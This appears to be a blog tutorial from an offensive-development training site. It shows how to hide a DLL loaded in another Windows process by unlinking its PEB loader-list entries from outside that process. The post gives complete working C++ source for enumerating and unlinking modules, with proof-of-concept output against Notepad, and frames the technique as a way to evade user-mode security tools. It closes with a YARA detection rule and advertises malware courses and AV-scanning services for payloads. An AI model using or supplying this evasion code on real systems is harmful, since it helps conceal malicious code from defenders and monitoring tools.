July 19, 2026
Hide Loaded Modules in Remote Processes
Welcome to this new post. Today we are going to explore a technique to hide loaded modules inside a remote process by manipulating the PEB…

By S12 - 0x12Dark Development
7 min read
Welcome to this new post. Today we are going to explore a technique to hide loaded modules inside a remote process by manipulating the PEB loader linked lists from outside the target process. No injected code. No hooks. Pure memory writes
This is the continuation of one of the previous lessons where we were listing this modules, now we just hide of of them:
https://medium.com/@s12deff/remote-peb-walking-enumerating-loaded-modules-bbb84e64f322
Courses: Learn how offensive development works on Windows OS from beginner to advanced taking our courses, all explained in C++.
All Courses Learn how real Windows offensive development works
Technique Database: Access 70+ real offensive techniques with weekly updates, complete with code, PoCs, and AV scan results:
Malware Techniques Database Explore an ever-growing collection of techniques
Modules: Dive deep into essential offensive topics with our modular text-training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.
0x12 Dark Development Learn the best offensive techniques for Windows OS, with content ranging from beginner to advanced levels. All…
Introduction
Before we get into the technique, you need to understand a few structures. We are not starting from zero. If you already know how Windows loads DLLs, this will be fast
PEB (Process Environment Block)
Every Windows process has a PEB. It is a structure in usermode memory that holds process level information: the image base, environment variables, and the loader data. The loader data is what interests us.
PEB_LDR_DATA
PEB_LDR_DATA (winternl.h) - Win32 apps Contains information about the loaded modules for the process.
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;At offset 0x18 inside the PEB lives a pointer to PEB_LDR_DATA. This structure holds three doubly linked lists. Each list tracks the same loaded modules, but ordered differently:
InLoadOrderModuleList: ordered by load timeInMemoryOrderModuleList: ordered by memory addressInInitializationOrderModuleList: ordered by initialization time
LDR_DATA_TABLE_ENTRY
LDR_DATA_TABLE_ENTRY The LDR_DATA_TABLE_ENTRY structure is NTDLL's record of how a DLL is loaded into a process. Each process has its own…
Each node in those lists is part of a LDR_DATA_TABLE_ENTRY. This entry holds information about one loaded module: its base address, size, entry point, and name strings. The three LIST_ENTRY fields are at offsets +0x00, +0x10, and +0x20 inside the entry
LIST_ENTRY and Doubly Linked Lists
A LIST_ENTRY has two fields: Flink (forward link, points to next) and Blink (backward link, points to previous). To remove a node from the list, you bypass (jump) it:
Blink->Flink = Flink
Flink->Blink = BlinkBlink->Flink = Flink
Flink->Blink = BlinkAfter those two writes, the node is invisible to anyone walking the list. The module is still loaded in memory. It is just not listed
Methodology
The goal is to remove a module entry from all three PEB loader lists inside a remote process. Once removed, any tool that enumerates modules by walking the PEB (EnumProcessModules, CreateToolhelp32Snapshot via Module32First, Process Hacker, etc.) will not see the module
The steps are:
- Open the remote process with enough access
- Read the remote PEB address via
NtQueryInformationProcess - Follow the PEB pointer at
+0x18to getPEB_LDR_DATA - Walk
InMemoryOrderModuleListto find the target module entry - For each of the three list offsets (
0x00,0x10,0x20), readFlinkandBlinkand write the bypass pointers
This works entirely through ReadProcessMemory and WriteProcessMemory. No shellcode. No threads. No injection.
The important thing to understand is why this works. Security tools and even Windows APIs like EnumProcessModules rely on the PEB loader lists to know what is loaded. If the entry is not in the list, the module does not exist from their perspective. The actual memory pages and the PE headers are untouched
Implementation
Get the remote PEB address
We use NtQueryInformationProcess with ProcessBasicInformation to get PROCESS_BASIC_INFORMATION, which holds PebBaseAddress
ULONG_PTR GetRemotePEBAddr(IN HANDLE hProcess) {
PROCESS_BASIC_INFORMATION pi = { 0 };
DWORD ReturnLength = 0;
auto pNtQueryInformationProcess = reinterpret_cast<decltype(&NtQueryInformationProcess)>(
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"));
if (!pNtQueryInformationProcess) return NULL;
pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pi,
sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength);
return (ULONG_PTR)pi.PebBaseAddress;
}ULONG_PTR GetRemotePEBAddr(IN HANDLE hProcess) {
PROCESS_BASIC_INFORMATION pi = { 0 };
DWORD ReturnLength = 0;
auto pNtQueryInformationProcess = reinterpret_cast<decltype(&NtQueryInformationProcess)>(
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"));
if (!pNtQueryInformationProcess) return NULL;
pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pi,
sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength);
return (ULONG_PTR)pi.PebBaseAddress;
}Walk InMemoryOrderModuleList
We read the LDR pointer from PEB+0x18, then the head of InMemoryOrderModuleList at LDR+0x20
We walk the list and for each node we compute the LDR_DATA_TABLE_ENTRY base as currentLink - 0x10 (because InMemoryOrderLinks is at +0x10). Then we read the module fields starting at entryBase+0x30
bool EnumerateRemoteModules(HANDLE hProcess, std::vector<RemoteModuleEntry>& modules) {
ULONG_PTR peb_addr = GetRemotePEBAddr(hProcess);
if (!peb_addr) return false;
PVOID ldr_addr = nullptr;
if (!ReadProcessMemory(hProcess, (LPCVOID)(peb_addr + 0x18),
&ldr_addr, sizeof(ldr_addr), nullptr) || !ldr_addr)
return false;
ULONG_PTR listHeadAddr = (ULONG_PTR)ldr_addr + 0x20;
LIST_ENTRY firstLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)listHeadAddr,
&firstLink, sizeof(firstLink), nullptr))
return false;
ULONG_PTR currentLink = (ULONG_PTR)firstLink.Flink;
while (currentLink && currentLink != listHeadAddr) {
ULONG_PTR entryAddr = currentLink - 0x10;
struct {
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
ULONG _pad;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} e = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + 0x30), &e, sizeof(e), nullptr))
break;
RemoteModuleEntry mod{ e.DllBase, e.SizeOfImage, L"", entryAddr };
if (e.BaseDllName.Length && e.BaseDllName.Buffer) {
std::vector<wchar_t> name(e.BaseDllName.Length / sizeof(wchar_t) + 1, 0);
if (ReadProcessMemory(hProcess, e.BaseDllName.Buffer, name.data(),
e.BaseDllName.Length, nullptr))
mod.baseName.assign(name.data(), e.BaseDllName.Length / sizeof(wchar_t));
}
modules.push_back(std::move(mod));
LIST_ENTRY nextLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)currentLink, &nextLink, sizeof(nextLink), nullptr))
break;
currentLink = (ULONG_PTR)nextLink.Flink;
}
return true;
}bool EnumerateRemoteModules(HANDLE hProcess, std::vector<RemoteModuleEntry>& modules) {
ULONG_PTR peb_addr = GetRemotePEBAddr(hProcess);
if (!peb_addr) return false;
PVOID ldr_addr = nullptr;
if (!ReadProcessMemory(hProcess, (LPCVOID)(peb_addr + 0x18),
&ldr_addr, sizeof(ldr_addr), nullptr) || !ldr_addr)
return false;
ULONG_PTR listHeadAddr = (ULONG_PTR)ldr_addr + 0x20;
LIST_ENTRY firstLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)listHeadAddr,
&firstLink, sizeof(firstLink), nullptr))
return false;
ULONG_PTR currentLink = (ULONG_PTR)firstLink.Flink;
while (currentLink && currentLink != listHeadAddr) {
ULONG_PTR entryAddr = currentLink - 0x10;
struct {
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
ULONG _pad;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} e = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + 0x30), &e, sizeof(e), nullptr))
break;
RemoteModuleEntry mod{ e.DllBase, e.SizeOfImage, L"", entryAddr };
if (e.BaseDllName.Length && e.BaseDllName.Buffer) {
std::vector<wchar_t> name(e.BaseDllName.Length / sizeof(wchar_t) + 1, 0);
if (ReadProcessMemory(hProcess, e.BaseDllName.Buffer, name.data(),
e.BaseDllName.Length, nullptr))
mod.baseName.assign(name.data(), e.BaseDllName.Length / sizeof(wchar_t));
}
modules.push_back(std::move(mod));
LIST_ENTRY nextLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)currentLink, &nextLink, sizeof(nextLink), nullptr))
break;
currentLink = (ULONG_PTR)nextLink.Flink;
}
return true;
}Unlink from all three lists
For each of the three list offsets we read the Flink and Blink, then write the two bypass pointers
bool HideRemoteModule(HANDLE hProcess, ULONG_PTR entryAddr) {
constexpr ULONG_PTR listOffsets[] = { 0x00, 0x10, 0x20 };
for (ULONG_PTR offset : listOffsets) {
LIST_ENTRY links = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + offset),
&links, sizeof(links), nullptr))
continue;
ULONG_PTR flink = (ULONG_PTR)links.Flink;
ULONG_PTR blink = (ULONG_PTR)links.Blink;
// Blink->Flink = Flink
if (!WriteProcessMemory(hProcess, (PVOID)blink,
&flink, sizeof(PVOID), nullptr))
return false;
// Flink->Blink = Blink (Blink is at +8 inside LIST_ENTRY)
if (!WriteProcessMemory(hProcess, (PVOID)(flink + sizeof(PVOID)),
&blink, sizeof(PVOID), nullptr))
return false;
}
return true;
}bool HideRemoteModule(HANDLE hProcess, ULONG_PTR entryAddr) {
constexpr ULONG_PTR listOffsets[] = { 0x00, 0x10, 0x20 };
for (ULONG_PTR offset : listOffsets) {
LIST_ENTRY links = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + offset),
&links, sizeof(links), nullptr))
continue;
ULONG_PTR flink = (ULONG_PTR)links.Flink;
ULONG_PTR blink = (ULONG_PTR)links.Blink;
// Blink->Flink = Flink
if (!WriteProcessMemory(hProcess, (PVOID)blink,
&flink, sizeof(PVOID), nullptr))
return false;
// Flink->Blink = Blink (Blink is at +8 inside LIST_ENTRY)
if (!WriteProcessMemory(hProcess, (PVOID)(flink + sizeof(PVOID)),
&blink, sizeof(PVOID), nullptr))
return false;
}
return true;
}Full code implementation
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <TlHelp32.h>
using namespace std;
struct RemoteModuleEntry {
PVOID baseAddress;
ULONG sizeOfImage;
std::wstring baseName;
ULONG_PTR entryAddr;
};
ULONG_PTR GetRemotePEBAddr(IN HANDLE hProcess) {
PROCESS_BASIC_INFORMATION pi = { 0 };
DWORD ReturnLength = 0;
auto pNtQueryInformationProcess = reinterpret_cast<decltype(&NtQueryInformationProcess)>(
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"));
if (!pNtQueryInformationProcess) return NULL;
pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pi,
sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength);
return (ULONG_PTR)pi.PebBaseAddress;
}
bool EnumerateRemoteModules(HANDLE hProcess, std::vector<RemoteModuleEntry>& modules) {
ULONG_PTR peb_addr = GetRemotePEBAddr(hProcess);
if (!peb_addr) return false;
PVOID ldr_addr = nullptr;
if (!ReadProcessMemory(hProcess, (LPCVOID)(peb_addr + 0x18),
&ldr_addr, sizeof(ldr_addr), nullptr) || !ldr_addr)
return false;
ULONG_PTR listHeadAddr = (ULONG_PTR)ldr_addr + 0x20;
LIST_ENTRY firstLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)listHeadAddr,
&firstLink, sizeof(firstLink), nullptr))
return false;
ULONG_PTR currentLink = (ULONG_PTR)firstLink.Flink;
while (currentLink && currentLink != listHeadAddr) {
ULONG_PTR entryAddr = currentLink - 0x10;
struct {
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
ULONG _pad;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} e = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + 0x30), &e, sizeof(e), nullptr))
break;
RemoteModuleEntry mod{ e.DllBase, e.SizeOfImage, L"", entryAddr };
if (e.BaseDllName.Length && e.BaseDllName.Buffer) {
std::vector<wchar_t> name(e.BaseDllName.Length / sizeof(wchar_t) + 1, 0);
if (ReadProcessMemory(hProcess, e.BaseDllName.Buffer, name.data(),
e.BaseDllName.Length, nullptr))
mod.baseName.assign(name.data(), e.BaseDllName.Length / sizeof(wchar_t));
}
modules.push_back(std::move(mod));
LIST_ENTRY nextLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)currentLink, &nextLink, sizeof(nextLink), nullptr))
break;
currentLink = (ULONG_PTR)nextLink.Flink;
}
return true;
}
bool HideRemoteModule(HANDLE hProcess, ULONG_PTR entryAddr) {
constexpr ULONG_PTR listOffsets[] = { 0x00, 0x10, 0x20 };
for (ULONG_PTR offset : listOffsets) {
LIST_ENTRY links = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + offset),
&links, sizeof(links), nullptr))
continue;
ULONG_PTR flink = (ULONG_PTR)links.Flink;
ULONG_PTR blink = (ULONG_PTR)links.Blink;
if (!WriteProcessMemory(hProcess, (PVOID)blink, &flink, sizeof(PVOID), nullptr))
return false;
if (!WriteProcessMemory(hProcess, (PVOID)(flink + sizeof(PVOID)), &blink, sizeof(PVOID), nullptr))
return false;
}
return true;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32)) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32));
}
CloseHandle(hSnap);
return pid;
}
int main() {
const wstring TARGET_MODULE = L"ntdll.dll";
DWORD pid = getPIDbyProcName("notepad.exe");
if (!pid) { std::cerr << "notepad.exe not found\n"; return 1; }
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) { std::cerr << "OpenProcess failed\n"; return 1; }
std::vector<RemoteModuleEntry> modsBefore;
if (!EnumerateRemoteModules(hProc, modsBefore)) {
std::cerr << "Enumeration failed\n"; return 1;
}
std::wcout << L"Modules BEFORE hiding (" << modsBefore.size() << L"):\n";
for (const auto& m : modsBefore)
std::wcout << L" " << m.baseName
<< L" base=" << m.baseAddress
<< L" size=0x" << std::hex << m.sizeOfImage << L"\n";
bool found = false;
for (const auto& m : modsBefore) {
if (_wcsicmp(m.baseName.c_str(), TARGET_MODULE.c_str()) == 0) {
found = true;
if (HideRemoteModule(hProc, m.entryAddr))
std::wcout << L"\nHidden: " << m.baseName << L"\n";
else
std::wcout << L"\nHide failed for: " << m.baseName << L"\n";
break;
}
}
if (!found)
std::wcout << L"\n" << TARGET_MODULE << L" not found in target\n";
std::vector<RemoteModuleEntry> modsAfter;
EnumerateRemoteModules(hProc, modsAfter);
std::wcout << L"\nModules AFTER hiding (" << modsAfter.size() << L"):\n";
for (const auto& m : modsAfter)
std::wcout << L" " << m.baseName
<< L" base=" << m.baseAddress
<< L" size=0x" << std::hex << m.sizeOfImage << L"\n";
CloseHandle(hProc);
return 0;
}#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <TlHelp32.h>
using namespace std;
struct RemoteModuleEntry {
PVOID baseAddress;
ULONG sizeOfImage;
std::wstring baseName;
ULONG_PTR entryAddr;
};
ULONG_PTR GetRemotePEBAddr(IN HANDLE hProcess) {
PROCESS_BASIC_INFORMATION pi = { 0 };
DWORD ReturnLength = 0;
auto pNtQueryInformationProcess = reinterpret_cast<decltype(&NtQueryInformationProcess)>(
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"));
if (!pNtQueryInformationProcess) return NULL;
pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pi,
sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength);
return (ULONG_PTR)pi.PebBaseAddress;
}
bool EnumerateRemoteModules(HANDLE hProcess, std::vector<RemoteModuleEntry>& modules) {
ULONG_PTR peb_addr = GetRemotePEBAddr(hProcess);
if (!peb_addr) return false;
PVOID ldr_addr = nullptr;
if (!ReadProcessMemory(hProcess, (LPCVOID)(peb_addr + 0x18),
&ldr_addr, sizeof(ldr_addr), nullptr) || !ldr_addr)
return false;
ULONG_PTR listHeadAddr = (ULONG_PTR)ldr_addr + 0x20;
LIST_ENTRY firstLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)listHeadAddr,
&firstLink, sizeof(firstLink), nullptr))
return false;
ULONG_PTR currentLink = (ULONG_PTR)firstLink.Flink;
while (currentLink && currentLink != listHeadAddr) {
ULONG_PTR entryAddr = currentLink - 0x10;
struct {
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
ULONG _pad;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} e = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + 0x30), &e, sizeof(e), nullptr))
break;
RemoteModuleEntry mod{ e.DllBase, e.SizeOfImage, L"", entryAddr };
if (e.BaseDllName.Length && e.BaseDllName.Buffer) {
std::vector<wchar_t> name(e.BaseDllName.Length / sizeof(wchar_t) + 1, 0);
if (ReadProcessMemory(hProcess, e.BaseDllName.Buffer, name.data(),
e.BaseDllName.Length, nullptr))
mod.baseName.assign(name.data(), e.BaseDllName.Length / sizeof(wchar_t));
}
modules.push_back(std::move(mod));
LIST_ENTRY nextLink = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)currentLink, &nextLink, sizeof(nextLink), nullptr))
break;
currentLink = (ULONG_PTR)nextLink.Flink;
}
return true;
}
bool HideRemoteModule(HANDLE hProcess, ULONG_PTR entryAddr) {
constexpr ULONG_PTR listOffsets[] = { 0x00, 0x10, 0x20 };
for (ULONG_PTR offset : listOffsets) {
LIST_ENTRY links = {};
if (!ReadProcessMemory(hProcess, (LPCVOID)(entryAddr + offset),
&links, sizeof(links), nullptr))
continue;
ULONG_PTR flink = (ULONG_PTR)links.Flink;
ULONG_PTR blink = (ULONG_PTR)links.Blink;
if (!WriteProcessMemory(hProcess, (PVOID)blink, &flink, sizeof(PVOID), nullptr))
return false;
if (!WriteProcessMemory(hProcess, (PVOID)(flink + sizeof(PVOID)), &blink, sizeof(PVOID), nullptr))
return false;
}
return true;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32)) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32));
}
CloseHandle(hSnap);
return pid;
}
int main() {
const wstring TARGET_MODULE = L"ntdll.dll";
DWORD pid = getPIDbyProcName("notepad.exe");
if (!pid) { std::cerr << "notepad.exe not found\n"; return 1; }
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) { std::cerr << "OpenProcess failed\n"; return 1; }
std::vector<RemoteModuleEntry> modsBefore;
if (!EnumerateRemoteModules(hProc, modsBefore)) {
std::cerr << "Enumeration failed\n"; return 1;
}
std::wcout << L"Modules BEFORE hiding (" << modsBefore.size() << L"):\n";
for (const auto& m : modsBefore)
std::wcout << L" " << m.baseName
<< L" base=" << m.baseAddress
<< L" size=0x" << std::hex << m.sizeOfImage << L"\n";
bool found = false;
for (const auto& m : modsBefore) {
if (_wcsicmp(m.baseName.c_str(), TARGET_MODULE.c_str()) == 0) {
found = true;
if (HideRemoteModule(hProc, m.entryAddr))
std::wcout << L"\nHidden: " << m.baseName << L"\n";
else
std::wcout << L"\nHide failed for: " << m.baseName << L"\n";
break;
}
}
if (!found)
std::wcout << L"\n" << TARGET_MODULE << L" not found in target\n";
std::vector<RemoteModuleEntry> modsAfter;
EnumerateRemoteModules(hProc, modsAfter);
std::wcout << L"\nModules AFTER hiding (" << modsAfter.size() << L"):\n";
for (const auto& m : modsAfter)
std::wcout << L" " << m.baseName
<< L" base=" << m.baseAddress
<< L" size=0x" << std::hex << m.sizeOfImage << L"\n";
CloseHandle(hProc);
return 0;
}Proof of Concept
Let's open a Notepad.exe, and we hide the ntdll.dll:
Modules BEFORE hiding (125):
Notepad.exe base=00007FF614B30000 size=0x328000
ntdll.dll base=00007FFED59E0000 size=0x266000
KERNEL32.DLL base=00007FFED52E0000 size=0xc9000
KERNELBASE.dll base=00007FFED31D0000 size=0x3fe000
USER32.dll base=00007FFED3750000 size=0x1c7000
win32u.dll base=00007FFED2ED0000 size=0x27000
GDI32.dll base=00007FFED5830000 size=0x2b000
Microsoft.UI.Windowing.Core.dll base=00007FFE73E20000 size=0x83000
gdi32full.dll base=00007FFED35E0000 size=0x12a000
ucrtbase.dll base=00007FFED2D70000 size=0x14c000
msvcp_win.dll base=00007FFED2C00000 size=0xa3000
....
Hidden: ntdll.dll
Modules AFTER hiding (7c):
Notepad.exe base=00007FF614B30000 size=0x328000
KERNEL32.DLL base=00007FFED52E0000 size=0xc9000
KERNELBASE.dll base=00007FFED31D0000 size=0x3fe000
USER32.dll base=00007FFED3750000 size=0x1c7000
win32u.dll base=00007FFED2ED0000 size=0x27000
GDI32.dll base=00007FFED5830000 size=0x2b000Modules BEFORE hiding (125):
Notepad.exe base=00007FF614B30000 size=0x328000
ntdll.dll base=00007FFED59E0000 size=0x266000
KERNEL32.DLL base=00007FFED52E0000 size=0xc9000
KERNELBASE.dll base=00007FFED31D0000 size=0x3fe000
USER32.dll base=00007FFED3750000 size=0x1c7000
win32u.dll base=00007FFED2ED0000 size=0x27000
GDI32.dll base=00007FFED5830000 size=0x2b000
Microsoft.UI.Windowing.Core.dll base=00007FFE73E20000 size=0x83000
gdi32full.dll base=00007FFED35E0000 size=0x12a000
ucrtbase.dll base=00007FFED2D70000 size=0x14c000
msvcp_win.dll base=00007FFED2C00000 size=0xa3000
....
Hidden: ntdll.dll
Modules AFTER hiding (7c):
Notepad.exe base=00007FF614B30000 size=0x328000
KERNEL32.DLL base=00007FFED52E0000 size=0xc9000
KERNELBASE.dll base=00007FFED31D0000 size=0x3fe000
USER32.dll base=00007FFED3750000 size=0x1c7000
win32u.dll base=00007FFED2ED0000 size=0x27000
GDI32.dll base=00007FFED5830000 size=0x2b000If we check with System Informer:
Detection
0x12DarkSandbox
Test your own payloads against the same stack with a free scan on sign up, or go deeper with a scan pack or monthly plan
Upload & Scan Upload malware samples for parallel analysis across isolated Windows VMs with multi-engine AV scanning
Scan result:
https://0x12darksandbox.net/results/227
YARA
Here a YARA rule to detect this technique:
rule PEB_Loader_List_Manipulation
{
meta:
description = "Detects binaries that read and write PEB loader list structures in remote processes"
author = "0x12 Dark Development"
category = "defense_evasion"
strings:
$f1 = "NtQueryInformationProcess" ascii wide
$f2 = "ReadProcessMemory" ascii wide
$f3 = "WriteProcessMemory" ascii wide
$f4 = "OpenProcess" ascii wide
// PEB->Ldr offset (0x18) read pattern, commonly compiled as a byte-immediate add
$peb_ldr = { 48 83 C? 18 }
condition:
uint16(0) == 0x5A4D and
all of ($f*) and
$peb_ldr
}rule PEB_Loader_List_Manipulation
{
meta:
description = "Detects binaries that read and write PEB loader list structures in remote processes"
author = "0x12 Dark Development"
category = "defense_evasion"
strings:
$f1 = "NtQueryInformationProcess" ascii wide
$f2 = "ReadProcessMemory" ascii wide
$f3 = "WriteProcessMemory" ascii wide
$f4 = "OpenProcess" ascii wide
// PEB->Ldr offset (0x18) read pattern, commonly compiled as a byte-immediate add
$peb_ldr = { 48 83 C? 18 }
condition:
uint16(0) == 0x5A4D and
all of ($f*) and
$peb_ldr
}Here you have my collection of YARA rules:
GitHub — S12cybersecurity/YaraRules: Collection of interesting Yara Rules Collection of interesting Yara Rules. Contribute to S12cybersecurity/YaraRules development by creating an account on…
Conclusions
Hiding a module from a remote process is simpler than it looks. Two pointer writes per list, three lists, done. No injection, no threads, no shellcode. The module stays in memory but disappears from every tool that walks the PEB
The evasion value depends on what the defender is using. User-mode enumeration tools are blind to this. Kernel level tools are not. That is the honest answer
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.